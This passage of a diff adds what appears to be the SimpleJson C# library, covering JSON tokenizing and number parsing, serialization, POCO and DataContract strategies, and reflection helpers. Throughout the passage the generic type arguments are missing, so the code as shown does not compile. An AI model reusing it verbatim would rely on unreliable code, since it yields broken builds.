ref bool success) + { + EatWhitespace(json, ref index); + int lastIndex = GetLastIndexOfNumber(json, index); + int charLength = lastIndex - index + 1; + object returnNumber; + string str = new string(json, index, charLength); + if (str.IndexOf(".", StringComparison.OrdinalIgnoreCase) != -1 || str.IndexOf("e", StringComparison.OrdinalIgnoreCase) != -1) + { + double number; + success = double.TryParse(new string(json, index, charLength), NumberStyles.Any, CultureInfo.InvariantCulture, out number); + returnNumber = number; + } + else + { + long number; + success = long.TryParse(new string(json, index, charLength), NumberStyles.Any, CultureInfo.InvariantCulture, out number); + returnNumber = number; + } + + index = lastIndex + 1; + return returnNumber; + } + + static private int GetLastIndexOfNumber(char[] json, int index) + { + int lastIndex; + for (lastIndex = index; lastIndex < json.Length; lastIndex++) + if ("0123456789+-.eE".IndexOf(json[lastIndex]) == -1) + break; + return lastIndex - 1; + } + + static private void EatWhitespace(char[] json, ref int index) + { + for (; index < json.Length; index++) + if (" \t\n\r\b\f".IndexOf(json[index]) == -1) + break; + } + + static private int LookAhead(char[] json, int index) + { + int saveIndex = index; + return NextToken(json, ref saveIndex); + } + + [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] + static private int NextToken(char[] json, ref int index) + { + EatWhitespace(json, ref index); + if (index == json.Length) + return TOKEN_NONE; + char c = json[index]; + index++; + switch (c) + { + case '{': + return TOKEN_CURLY_OPEN; + case '}': + return TOKEN_CURLY_CLOSE; + case '[': + return TOKEN_SQUARED_OPEN; + case ']': + return TOKEN_SQUARED_CLOSE; + case ',': + return TOKEN_COMMA; + case '"': + return TOKEN_STRING; + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + case '-': + return TOKEN_NUMBER; + case ':': + return TOKEN_COLON; + } + + index--; + int remainingLength = json.Length - index; + // false + if (remainingLength >= 5) + { + if (json[index] == 'f' && json[index + 1] == 'a' && json[index + 2] == 'l' && json[index + 3] == 's' && json[index + 4] == 'e') + { + index += 5; + return TOKEN_FALSE; + } + } + + // true + if (remainingLength >= 4) + { + if (json[index] == 't' && json[index + 1] == 'r' && json[index + 2] == 'u' && json[index + 3] == 'e') + { + index += 4; + return TOKEN_TRUE; + } + } + + // null + if (remainingLength >= 4) + { + if (json[index] == 'n' && json[index + 1] == 'u' && json[index + 2] == 'l' && json[index + 3] == 'l') + { + index += 4; + return TOKEN_NULL; + } + } + + return TOKEN_NONE; + } + + static private bool SerializeValue(IJsonSerializerStrategy jsonSerializerStrategy, object value, StringBuilder builder) + { + bool success = true; + string stringValue = value as string; + if (stringValue != null) + success = SerializeString(stringValue, builder); + else + { + var dict = value as IDictionary; + if (dict != null) + { + success = SerializeObject(jsonSerializerStrategy, dict.Keys, dict.Values, builder); + } + else + { + var stringDictionary = value as IDictionary; + if (stringDictionary != null) + { + success = SerializeObject(jsonSerializerStrategy, stringDictionary.Keys, stringDictionary.Values, builder); + } + else + { + IEnumerable enumerableValue = value as IEnumerable; + if (enumerableValue != null) + success = SerializeArray(jsonSerializerStrategy, enumerableValue, builder); + else if (IsNumeric(value)) + success = SerializeNumber(value, builder); + else if (value is bool) + builder.Append((bool)value ? "true" : "false"); + else if (value == null) + builder.Append("null"); + else + { + object serializedObject; + success = jsonSerializerStrategy.TrySerializeNonPrimitiveObject(value, out serializedObject); + if (success) + SerializeValue(jsonSerializerStrategy, serializedObject, builder); + } + } + } + } + + return success; + } + + static private bool SerializeObject(IJsonSerializerStrategy jsonSerializerStrategy, IEnumerable keys, IEnumerable values, StringBuilder builder) + { + builder.Append("{"); + IEnumerator ke = keys.GetEnumerator(); + IEnumerator ve = values.GetEnumerator(); + bool first = true; + while (ke.MoveNext() && ve.MoveNext()) + { + object key = ke.Current; + object value = ve.Current; + if (!first) + builder.Append(","); + string stringKey = key as string; + if (stringKey != null) + SerializeString(stringKey, builder); + else if (!SerializeValue(jsonSerializerStrategy, value, builder)) return false; + builder.Append(":"); + if (!SerializeValue(jsonSerializerStrategy, value, builder)) + return false; + first = false; + } + + builder.Append("}"); + return true; + } + + static private bool SerializeArray(IJsonSerializerStrategy jsonSerializerStrategy, IEnumerable anArray, StringBuilder builder) + { + builder.Append("["); + bool first = true; + foreach (object value in anArray) + { + if (!first) + builder.Append(","); + if (!SerializeValue(jsonSerializerStrategy, value, builder)) + return false; + first = false; + } + + builder.Append("]"); + return true; + } + + static private bool SerializeString(string aString, StringBuilder builder) + { + // Happy path if there's nothing to be escaped. IndexOfAny is highly optimized (and unmanaged) + if (aString.IndexOfAny(EscapeCharacters) == -1) + { + builder.Append('"'); + builder.Append(aString); + builder.Append('"'); + + return true; + } + + builder.Append('"'); + int safeCharacterCount = 0; + char[] charArray = aString.ToCharArray(); + + for (int i = 0; i < charArray.Length; i++) + { + char c = charArray[i]; + + // Non ascii characters are fine, buffer them up and send them to the builder + // in larger chunks if possible. The escape table is a 1:1 translation table + // with \0 [default(char)] denoting a safe character. + if (c >= EscapeTable.Length || EscapeTable[c] == default(char)) + { + safeCharacterCount++; + } + else + { + if (safeCharacterCount > 0) + { + builder.Append(charArray, i - safeCharacterCount, safeCharacterCount); + safeCharacterCount = 0; + } + + builder.Append('\\'); + builder.Append(EscapeTable[c]); + } + } + + if (safeCharacterCount > 0) + { + builder.Append(charArray, charArray.Length - safeCharacterCount, safeCharacterCount); + } + + builder.Append('"'); + return true; + } + + static private bool SerializeNumber(object number, StringBuilder builder) + { + if (number is long) + builder.Append(((long)number).ToString(CultureInfo.InvariantCulture)); + else if (number is ulong) + builder.Append(((ulong)number).ToString(CultureInfo.InvariantCulture)); + else if (number is int) + builder.Append(((int)number).ToString(CultureInfo.InvariantCulture)); + else if (number is uint) + builder.Append(((uint)number).ToString(CultureInfo.InvariantCulture)); + else if (number is decimal) + builder.Append(((decimal)number).ToString(CultureInfo.InvariantCulture)); + else if (number is float) + builder.Append(((float)number).ToString(CultureInfo.InvariantCulture)); + else + builder.Append(Convert.ToDouble(number, CultureInfo.InvariantCulture).ToString("r", CultureInfo.InvariantCulture)); + return true; + } + + /// + /// Determines if a given object is numeric in any way + /// (can be integer, double, null, etc). + /// + static private bool IsNumeric(object value) + { + if (value is sbyte) return true; + if (value is byte) return true; + if (value is short) return true; + if (value is ushort) return true; + if (value is int) return true; + if (value is uint) return true; + if (value is long) return true; + if (value is ulong) return true; + if (value is float) return true; + if (value is double) return true; + if (value is decimal) return true; + return false; + } + + static private IJsonSerializerStrategy _currentJsonSerializerStrategy; + public static IJsonSerializerStrategy CurrentJsonSerializerStrategy + { + get + { + return _currentJsonSerializerStrategy ?? + (_currentJsonSerializerStrategy = +#if SIMPLE_JSON_DATACONTRACT + DataContractJsonSerializerStrategy +#else + PocoJsonSerializerStrategy +#endif + ); + } + set { _currentJsonSerializerStrategy = value; } + } + + static private PocoJsonSerializerStrategy _pocoJsonSerializerStrategy; + [EditorBrowsable(EditorBrowsableState.Advanced)] + public static PocoJsonSerializerStrategy PocoJsonSerializerStrategy => _pocoJsonSerializerStrategy ?? (_pocoJsonSerializerStrategy = new PocoJsonSerializerStrategy()); + +#if SIMPLE_JSON_DATACONTRACT + private static DataContractJsonSerializerStrategy _dataContractJsonSerializerStrategy; + [System.ComponentModel.EditorBrowsable(EditorBrowsableState.Advanced)] + public static DataContractJsonSerializerStrategy DataContractJsonSerializerStrategy + { + get + { + return _dataContractJsonSerializerStrategy ?? (_dataContractJsonSerializerStrategy = new DataContractJsonSerializerStrategy()); + } + } + +#endif + } + + [GeneratedCode("simple-json", "1.0.0")] +#if SIMPLE_JSON_INTERNAL + internal +#else + public +#endif + interface IJsonSerializerStrategy + { + [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] + bool TrySerializeNonPrimitiveObject(object input, out object output); + + object DeserializeObject(object value, Type type); + } + + [GeneratedCode("simple-json", "1.0.0")] +#if SIMPLE_JSON_INTERNAL + internal +#else + public +#endif + class PocoJsonSerializerStrategy : IJsonSerializerStrategy + { + internal IDictionary ConstructorCache; + internal IDictionary> GetCache; + internal IDictionary>> SetCache; + + internal static readonly Type[] EmptyTypes = new Type[0]; + internal static readonly Type[] ArrayConstructorParameterTypes = { typeof(int) }; + + static private readonly string[] Iso8601Format = + { + @"yyyy-MM-dd\THH:mm:ss.FFFFFFF\Z", + @"yyyy-MM-dd\THH:mm:ss\Z", + @"yyyy-MM-dd\THH:mm:ssK" + }; + + public PocoJsonSerializerStrategy() + { + ConstructorCache = new ReflectionUtils.ThreadSafeDictionary(ContructorDelegateFactory); + GetCache = new ReflectionUtils.ThreadSafeDictionary>(GetterValueFactory); + SetCache = new ReflectionUtils.ThreadSafeDictionary>>(SetterValueFactory); + } + + protected virtual string MapClrMemberNameToJsonFieldName(string clrPropertyName) + { + return clrPropertyName; + } + + internal virtual ReflectionUtils.ConstructorDelegate ContructorDelegateFactory(Type key) + { + return ReflectionUtils.GetContructor(key, key.IsArray ? ArrayConstructorParameterTypes : EmptyTypes); + } + + internal virtual IDictionary GetterValueFactory(Type type) + { + IDictionary result = new Dictionary(); + foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) + { + if (propertyInfo.CanRead) + { + MethodInfo getMethod = ReflectionUtils.GetGetterMethodInfo(propertyInfo); + if (getMethod.IsStatic || !getMethod.IsPublic) + continue; + result[MapClrMemberNameToJsonFieldName(propertyInfo.Name)] = ReflectionUtils.GetGetMethod(propertyInfo); + } + } + + foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) + { + if (fieldInfo.IsStatic || !fieldInfo.IsPublic) + continue; + result[MapClrMemberNameToJsonFieldName(fieldInfo.Name)] = ReflectionUtils.GetGetMethod(fieldInfo); + } + + return result; + } + + internal virtual IDictionary> SetterValueFactory(Type type) + { + IDictionary> result = new Dictionary>(); + foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) + { + if (propertyInfo.CanWrite) + { + MethodInfo setMethod = ReflectionUtils.GetSetterMethodInfo(propertyInfo); + if (setMethod.IsStatic || !setMethod.IsPublic) + continue; + result[MapClrMemberNameToJsonFieldName(propertyInfo.Name)] = + new KeyValuePair(propertyInfo.PropertyType, ReflectionUtils.GetSetMethod(propertyInfo)); + } + } + + foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) + { + if (fieldInfo.IsInitOnly || fieldInfo.IsStatic || !fieldInfo.IsPublic) + continue; + result[MapClrMemberNameToJsonFieldName(fieldInfo.Name)] = new KeyValuePair(fieldInfo.FieldType, ReflectionUtils.GetSetMethod(fieldInfo)); + } + + return result; + } + + public virtual bool TrySerializeNonPrimitiveObject(object input, out object output) + { + return TrySerializeKnownTypes(input, out output) || TrySerializeUnknownTypes(input, out output); + } + + [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] + public virtual object DeserializeObject(object value, Type type) + { + if (type == null) throw new ArgumentNullException("type"); + string str = value as string; + + if (type == typeof(Guid) && string.IsNullOrEmpty(str)) + return default(Guid); + + if (value == null) + return null; + + object obj = null; + + if (str != null) + { + if (str.Length != 0) // We know it can't be null now. + { + if (type == typeof(DateTime) || ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(DateTime)) + return DateTime.ParseExact(str, Iso8601Format, CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal); + if (type == typeof(DateTimeOffset) || ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(DateTimeOffset)) + return DateTimeOffset.ParseExact(str, Iso8601Format, CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal); + if (type == typeof(Guid) || ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(Guid)) + return new Guid(str); + if (type == typeof(Uri)) + { + bool isValid = Uri.IsWellFormedUriString(str, UriKind.RelativeOrAbsolute); + + Uri result; + if (isValid && Uri.TryCreate(str, UriKind.RelativeOrAbsolute, out result)) + return result; + + return null; + } + + if (type == typeof(string)) + return str; + + return Convert.ChangeType(str, type, CultureInfo.InvariantCulture); + } + + if (type == typeof(Guid)) + obj = default(Guid); + else if (ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(Guid)) + obj = null; + else + obj = str; + // Empty string case + if (!ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(Guid)) + return str; + } + else if (value is bool) + return value; + + bool valueIsLong = value is long; + bool valueIsDouble = value is double; + if (valueIsLong && type == typeof(long) || valueIsDouble && type == typeof(double)) + return value; + if (valueIsDouble && type != typeof(double) || valueIsLong && type != typeof(long)) + { + obj = type == typeof(int) || type == typeof(long) || type == typeof(double) || type == typeof(float) || type == typeof(bool) || type == typeof(decimal) || type == typeof(byte) || + type == typeof(short) + ? Convert.ChangeType(value, type, CultureInfo.InvariantCulture) + : value; + } + else + { + var objects = value as IDictionary; + if (objects != null) + { + var jsonObject = objects; + + if (ReflectionUtils.IsTypeDictionary(type)) + { + // if dictionary then + var types = ReflectionUtils.GetGenericTypeArguments(type); + Type keyType = types[0]; + Type valueType = types[1]; + + Type genericType = typeof(Dictionary<,>).MakeGenericType(keyType, valueType); + + IDictionary dict = (IDictionary)ConstructorCache[genericType](); + + foreach (var kvp in jsonObject) + dict.Add(kvp.Key, DeserializeObject(kvp.Value, valueType)); + + obj = dict; + } + else + { + if (type == typeof(object)) + obj = value; + else + { + obj = ConstructorCache[type](); + foreach (var setter in SetCache[type]) + { + object jsonValue; + if (jsonObject.TryGetValue(setter.Key, out jsonValue)) + { + jsonValue = DeserializeObject(jsonValue, setter.Value.Key); + setter.Value.Value(obj, jsonValue); + } + } + } + } + } + else + { + var valueAsList = value as IList; + if (valueAsList != null) + { + var jsonObject = valueAsList; + IList list = null; + + if (type.IsArray) + { + list = (IList)ConstructorCache[type](jsonObject.Count); + int i = 0; + foreach (object o in jsonObject) + list[i++] = DeserializeObject(o, type.GetElementType()); + } + else if (ReflectionUtils.IsTypeGenericeCollectionInterface(type) || ReflectionUtils.IsAssignableFrom(typeof(IList), type)) + { + Type innerType = ReflectionUtils.GetGenericListElementType(type); + list = (IList)(ConstructorCache[type] ?? ConstructorCache[typeof(List<>).MakeGenericType(innerType)])(jsonObject.Count); + foreach (object o in jsonObject) + list.Add(DeserializeObject(o, innerType)); + } + + obj = list; + } + } + + return obj; + } + + if (ReflectionUtils.IsNullableType(type)) + return ReflectionUtils.ToNullableType(obj, type); + return obj; + } + + protected virtual object SerializeEnum(Enum p) + { + return Convert.ToDouble(p, CultureInfo.InvariantCulture); + } + + [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] + protected virtual bool TrySerializeKnownTypes(object input, out object output) + { + bool returnValue = true; + if (input is DateTime) + output = ((DateTime)input).ToUniversalTime().ToString(Iso8601Format[0], CultureInfo.InvariantCulture); + else if (input is DateTimeOffset) + output = ((DateTimeOffset)input).ToUniversalTime().ToString(Iso8601Format[0], CultureInfo.InvariantCulture); + else if (input is Guid) + output = ((Guid)input).ToString("D"); + else if (input is Uri) + output = input.ToString(); + else + { + Enum inputEnum = input as Enum; + if (inputEnum != null) + output = SerializeEnum(inputEnum); + else + { + returnValue = false; + output = null; + } + } + + return returnValue; + } + + [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] + protected virtual bool TrySerializeUnknownTypes(object input, out object output) + { + if (input == null) throw new ArgumentNullException("input"); + output = null; + Type type = input.GetType(); + if (type.FullName == null) + return false; + IDictionary obj = new JsonObject(); + var getters = GetCache[type]; + foreach (var getter in getters) + { + if (getter.Value != null) + obj.Add(MapClrMemberNameToJsonFieldName(getter.Key), getter.Value(input)); + } + + output = obj; + return true; + } + } + +#if SIMPLE_JSON_DATACONTRACT + [GeneratedCode("simple-json", "1.0.0")] +#if SIMPLE_JSON_INTERNAL + internal +#else + public +#endif + class DataContractJsonSerializerStrategy : PocoJsonSerializerStrategy + { + public DataContractJsonSerializerStrategy() + { + GetCache = new ReflectionUtils.ThreadSafeDictionary>(GetterValueFactory); + SetCache = new ReflectionUtils.ThreadSafeDictionary>>(SetterValueFactory); + } + + internal override IDictionary GetterValueFactory(Type type) + { + bool hasDataContract = ReflectionUtils.GetAttribute(type, typeof(DataContractAttribute)) != null; + if (!hasDataContract) + return base.GetterValueFactory(type); + string jsonKey; + IDictionary result = new Dictionary(); + foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) + { + if (propertyInfo.CanRead) + { + MethodInfo getMethod = ReflectionUtils.GetGetterMethodInfo(propertyInfo); + if (!getMethod.IsStatic && CanAdd(propertyInfo, out jsonKey)) + result[jsonKey] = ReflectionUtils.GetGetMethod(propertyInfo); + } + } + foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) + { + if (!fieldInfo.IsStatic && CanAdd(fieldInfo, out jsonKey)) + result[jsonKey] = ReflectionUtils.GetGetMethod(fieldInfo); + } + return result; + } + + internal override IDictionary> SetterValueFactory(Type type) + { + bool hasDataContract = ReflectionUtils.GetAttribute(type, typeof(DataContractAttribute)) != null; + if (!hasDataContract) + return base.SetterValueFactory(type); + string jsonKey; + IDictionary> result = new Dictionary>(); + foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) + { + if (propertyInfo.CanWrite) + { + MethodInfo setMethod = ReflectionUtils.GetSetterMethodInfo(propertyInfo); + if (!setMethod.IsStatic && CanAdd(propertyInfo, out jsonKey)) + result[jsonKey] = new KeyValuePair(propertyInfo.PropertyType, ReflectionUtils.GetSetMethod(propertyInfo)); + } + } + foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) + { + if (!fieldInfo.IsInitOnly && !fieldInfo.IsStatic && CanAdd(fieldInfo, out jsonKey)) + result[jsonKey] = new KeyValuePair(fieldInfo.FieldType, ReflectionUtils.GetSetMethod(fieldInfo)); + } + // todo implement sorting for DATACONTRACT. + return result; + } + + private static bool CanAdd(MemberInfo info, out string jsonKey) + { + jsonKey = null; + if (ReflectionUtils.GetAttribute(info, typeof(IgnoreDataMemberAttribute)) != null) + return false; + DataMemberAttribute dataMemberAttribute = (DataMemberAttribute)ReflectionUtils.GetAttribute(info, typeof(DataMemberAttribute)); + if (dataMemberAttribute == null) + return false; + jsonKey = string.IsNullOrEmpty(dataMemberAttribute.Name) ? info.Name : dataMemberAttribute.Name; + return true; + } + } + +#endif + + namespace Reflection + { + // This class is meant to be copied into other libraries. So we want to exclude it from Code Analysis rules + // that might be in place in the target project. + [GeneratedCode("reflection-utils", "1.0.0")] +#if SIMPLE_JSON_REFLECTION_UTILS_PUBLIC + public +#else + internal +#endif + class ReflectionUtils + { + static private readonly object[] EmptyObjects = { }; + + public delegate object GetDelegate(object source); + + public delegate void SetDelegate(object source, object value); + + public delegate object ConstructorDelegate(params object[] args); + + public delegate TValue ThreadSafeDictionaryValueFactory(TKey key); + +#if SIMPLE_JSON_TYPEINFO + public static TypeInfo GetTypeInfo(Type type) + { + return type.GetTypeInfo(); + } +#else + public static Type GetTypeInfo(Type type) + { + return type; + } +#endif + + public static Attribute GetAttribute(MemberInfo info, Type type) + { +#if SIMPLE_JSON_TYPEINFO + if (info == null || type == null || !info.IsDefined(type)) + return null; + return info.GetCustomAttribute(type); +#else + if (info == null || type == null || !Attribute.IsDefined(info, type)) + return null; + return Attribute.GetCustomAttribute(info, type); +#endif + } + + public static Type GetGenericListElementType(Type type) + { + IEnumerable interfaces; +#if SIMPLE_JSON_TYPEINFO + interfaces = type.GetTypeInfo().ImplementedInterfaces; +#else + interfaces = type.GetInterfaces(); +#endif + foreach (Type implementedInterface in interfaces) + { + if (IsTypeGeneric(implementedInterface) && + implementedInterface.GetGenericTypeDefinition() == typeof(IList<>)) + { + return GetGenericTypeArguments(implementedInterface)[0]; + } + } + + return GetGenericTypeArguments(type)[0]; + } + + public static Attribute GetAttribute(Type objectType, Type attributeType) + { + +#if SIMPLE_JSON_TYPEINFO + if (objectType == null || attributeType == null || !objectType.GetTypeInfo().IsDefined(attributeType)) + return null; + return objectType.GetTypeInfo().GetCustomAttribute(attributeType); +#else + if (objectType == null || attributeType == null || !Attribute.IsDefined(objectType, attributeType)) + return null; + return Attribute.GetCustomAttribute(objectType, attributeType); +#endif + } + + public static Type[] GetGenericTypeArguments(Type type) + { +#if SIMPLE_JSON_TYPEINFO + return type.GetTypeInfo().GenericTypeArguments; +#else + return type.GetGenericArguments(); +#endif + } + + public static bool IsTypeGeneric(Type type) + { + return GetTypeInfo(type).IsGenericType; + } + + public static bool IsTypeGenericeCollectionInterface(Type type) + { + if (!IsTypeGeneric(type)) + return false; + + Type genericDefinition = type.GetGenericTypeDefinition(); + + return genericDefinition == typeof(IList<>) + || genericDefinition == typeof(ICollection<>) + || genericDefinition == typeof(IEnumerable<>); + } + + public static bool IsAssignableFrom(Type type1, Type type2) + { + return GetTypeInfo(type1).IsAssignableFrom(GetTypeInfo(type2)); + } + + public static bool IsTypeDictionary(Type type) + { +#if SIMPLE_JSON_TYPEINFO + if (typeof(IDictionary<,>).GetTypeInfo().IsAssignableFrom(type.GetTypeInfo())) + return true; +#else + if (typeof(IDictionary).IsAssignableFrom(type)) + return true; +#endif + if (!GetTypeInfo(type).IsGenericType) + return false; + + Type genericDefinition = type.GetGenericTypeDefinition(); + return genericDefinition == typeof(IDictionary<,>); + } + + public static bool IsNullableType(Type type) + { + return GetTypeInfo(type).IsGenericType && type.GetGenericTypeDefinition() == typeof(Nullable<>); + } + + public static object ToNullableType(object obj, Type nullableType) + { + return obj == null ? null : Convert.ChangeType(obj, Nullable.GetUnderlyingType(nullableType), CultureInfo.InvariantCulture); + } + + public static bool IsValueType(Type type) + { + return GetTypeInfo(type).IsValueType; + } + + public static IEnumerable GetConstructors(Type type) + { +#if SIMPLE_JSON_TYPEINFO + return type.GetTypeInfo().DeclaredConstructors; +#else + return type.GetConstructors(); +#endif + } + + public static ConstructorInfo GetConstructorInfo(Type type, params Type[] argsType) + { + var constructorInfos = GetConstructors(type); + int i; + bool matches; + foreach (ConstructorInfo constructorInfo in constructorInfos) + { + var parameters = constructorInfo.GetParameters(); + if (argsType.Length != parameters.Length) + continue; + + i = 0; + matches = true; + foreach (ParameterInfo parameterInfo in constructorInfo.GetParameters()) + { + if (parameterInfo.ParameterType != argsType[i]) + { + matches = false; + break; + } + } + + if (matches) + return constructorInfo; + } + + return null; + } + + public static IEnumerable GetProperties(Type type) + { +#if SIMPLE_JSON_TYPEINFO + return type.GetRuntimeProperties(); +#else + return type.GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static); +#endif + } + + public static IEnumerable GetFields(Type type) + { +#if SIMPLE_JSON_TYPEINFO + return type.GetRuntimeFields(); +#else + return type.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static); +#endif + } + + public static MethodInfo GetGetterMethodInfo(PropertyInfo propertyInfo) + { +#if SIMPLE_JSON_TYPEINFO + return propertyInfo.GetMethod; +#else + return propertyInfo.GetGetMethod(true); +#endif + } + + public static MethodInfo GetSetterMethodInfo(PropertyInfo propertyInfo) + { +#if SIMPLE_JSON_TYPEINFO + return propertyInfo.SetMethod; +#else + return propertyInfo.GetSetMethod(true); +#endif + } + + public static ConstructorDelegate GetContructor(ConstructorInfo constructorInfo) + { +#if SIMPLE_JSON_NO_LINQ_EXPRESSION + return GetConstructorByReflection(constructorInfo); +#else + return GetConstructorByExpression(constructorInfo); +#endif + } + + public static ConstructorDelegate GetContructor(Type type, params Type[] argsType) + { +#if SIMPLE_JSON_NO_LINQ_EXPRESSION + return GetConstructorByReflection(type, argsType); +#else + return GetConstructorByExpression(type, argsType); +#endif + } + + public static ConstructorDelegate GetConstructorByReflection(ConstructorInfo constructorInfo) + { + return delegate (object[] args) { return constructorInfo.Invoke(args); }; + } + + public static ConstructorDelegate GetConstructorByReflection(Type type, params Type[] argsType) + { + ConstructorInfo constructorInfo = GetConstructorInfo(type, argsType); + return constructorInfo == null ? null : GetConstructorByReflection(constructorInfo); + } + +#if !SIMPLE_JSON_NO_LINQ_EXPRESSION + + public static ConstructorDelegate GetConstructorByExpression(ConstructorInfo constructorInfo) + { + var paramsInfo = constructorInfo.GetParameters(); + ParameterExpression param = Expression.Parameter(typeof(object[]), "args"); + var argsExp = new Expression[paramsInfo.Length]; + for (int i = 0; i < paramsInfo.Length; i++) + { + Expression index = Expression.Constant(i); + Type paramType = paramsInfo[i].ParameterType; + Expression paramAccessorExp = Expression.ArrayIndex(param, index); + Expression paramCastExp = Expression.Convert(paramAccessorExp, paramType); + argsExp[i] = paramCastExp; + } + + NewExpression newExp = Expression.New(constructorInfo, argsExp); + var lambda = Expression.Lambda>(newExp, param); + var compiledLambda = lambda.Compile(); + return delegate (object[] args) { return compiledLambda(args); }; + } + + public static ConstructorDelegate GetConstructorByExpression(Type type, params Type[] argsType) + { + ConstructorInfo constructorInfo = GetConstructorInfo(type, argsType); + return constructorInfo == null ? null : GetConstructorByExpression(constructorInfo); + } + +#endif + + public static GetDelegate GetGetMethod(PropertyInfo propertyInfo) + { +#if SIMPLE_JSON_NO_LINQ_EXPRESSION + return GetGetMethodByReflection(propertyInfo); +#else + return GetGetMethodByExpression(propertyInfo); +#endif + } + + public static GetDelegate GetGetMethod(FieldInfo fieldInfo) + { +#if SIMPLE_JSON_NO_LINQ_EXPRESSION + return GetGetMethodByReflection(fieldInfo); +#else + return GetGetMethodByExpression(fieldInfo); +#endif + } + + public static GetDelegate GetGetMethodByReflection(PropertyInfo propertyInfo) + { + MethodInfo methodInfo = GetGetterMethodInfo(propertyInfo); + return delegate (object source) { return methodInfo.Invoke(source, EmptyObjects); }; + } + + public static GetDelegate GetGetMethodByReflection(FieldInfo fieldInfo) + { + return delegate (object source) { return fieldInfo.GetValue(source); }; + } + +#if !SIMPLE_JSON_NO_LINQ_EXPRESSION + + public static GetDelegate GetGetMethodByExpression(PropertyInfo propertyInfo) + { + MethodInfo getMethodInfo = GetGetterMethodInfo(propertyInfo); + ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); + UnaryExpression instanceCast = !IsValueType(propertyInfo.DeclaringType) + ? Expression.TypeAs(instance, propertyInfo.DeclaringType) + : Expression.Convert(instance, propertyInfo.DeclaringType); + var compiled = Expression.Lambda>(Expression.TypeAs(Expression.Call(instanceCast, getMethodInfo), typeof(object)), instance).Compile(); + return delegate (object source) { return compiled(source); }; + } + + public static GetDelegate GetGetMethodByExpression(FieldInfo fieldInfo) + { + ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); + MemberExpression member = Expression.Field(Expression.Convert(instance, fieldInfo.DeclaringType), fieldInfo); + GetDelegate compiled = Expression.Lambda(Expression.Convert(member, typeof(object)), instance).Compile(); + return delegate (object source) { return compiled(source); }; + } + +#endif + + public static SetDelegate GetSetMethod(PropertyInfo propertyInfo) + { +#if SIMPLE_JSON_NO_LINQ_EXPRESSION + return GetSetMethodByReflection(propertyInfo); +#else + return GetSetMethodByExpression(propertyInfo); +#endif + } + + public static SetDelegate GetSetMethod(FieldInfo fieldInfo) + { +#if SIMPLE_JSON_NO_LINQ_EXPRESSION + return GetSetMethodByReflection(fieldInfo); +#else + return GetSetMethodByExpression(fieldInfo); +#endif + } + + public static SetDelegate GetSetMethodByReflection(PropertyInfo propertyInfo) + { + MethodInfo methodInfo = GetSetterMethodInfo(propertyInfo); + return delegate (object source, object value) { methodInfo.Invoke(source, new object[] { value }); }; + } + + public static SetDelegate GetSetMethodByReflection(FieldInfo fieldInfo) + { + return delegate (object source, object value) { fieldInfo.SetValue(source, value); }; + } + +#if !SIMPLE_JSON_NO_LINQ_EXPRESSION + + public static SetDelegate GetSetMethodByExpression(PropertyInfo propertyInfo) + { + MethodInfo setMethodInfo = GetSetterMethodInfo(propertyInfo); + ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); + ParameterExpression value = Expression.Parameter(typeof(object), "value"); + UnaryExpression instanceCast = !IsValueType(propertyInfo.DeclaringType) + ? Expression.TypeAs(instance, propertyInfo.DeclaringType) + : Expression.Convert(instance, propertyInfo.DeclaringType); + UnaryExpression valueCast = !IsValueType(propertyInfo.PropertyType) ? Expression.TypeAs(value, propertyInfo.PropertyType) : Expression.Convert(value, propertyInfo.PropertyType); + var compiled = Expression.Lambda>(Expression.Call(instanceCast, setMethodInfo, valueCast), instance, value).Compile(); + return delegate (object source, object val) { compiled(source, val); }; + } + + public static SetDelegate GetSetMethodByExpression(FieldInfo fieldInfo) + { + ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); + ParameterExpression value = Expression.Parameter(typeof(object), "value"); + var compiled = Expression.Lambda>( + Assign(Expression.Field(Expression.Convert(instance, fieldInfo.DeclaringType), fieldInfo), Expression.Convert(value, fieldInfo.FieldType)), instance, value).Compile(); + return delegate (object source, object val) { compiled(source, val); }; + } + + public static BinaryExpression Assign(Expression left, Expression right) + { +#if SIMPLE_JSON_TYPEINFO + return Expression.Assign(left, right); +#else + MethodInfo assign = typeof(Assigner<>).MakeGenericType(left.Type).GetMethod("Assign"); + BinaryExpression assignExpr = Expression.Add(left, right, assign); + return assignExpr; +#endif + } + + static private class Assigner + { + public static T Assign(ref T left, T right) + { + return left = right; + } + } + +#endif + + public sealed class ThreadSafeDictionary : IDictionary + { + private readonly object _lock = new object(); + private readonly ThreadSafeDictionaryValueFactory _valueFactory; + private Dictionary _dictionary; + + public ThreadSafeDictionary(ThreadSafeDictionaryValueFactory valueFactory) + { + _valueFactory = valueFactory; + } + + public void Add(TKey key, TValue value) + { + throw new NotImplementedException(); + } + + public bool 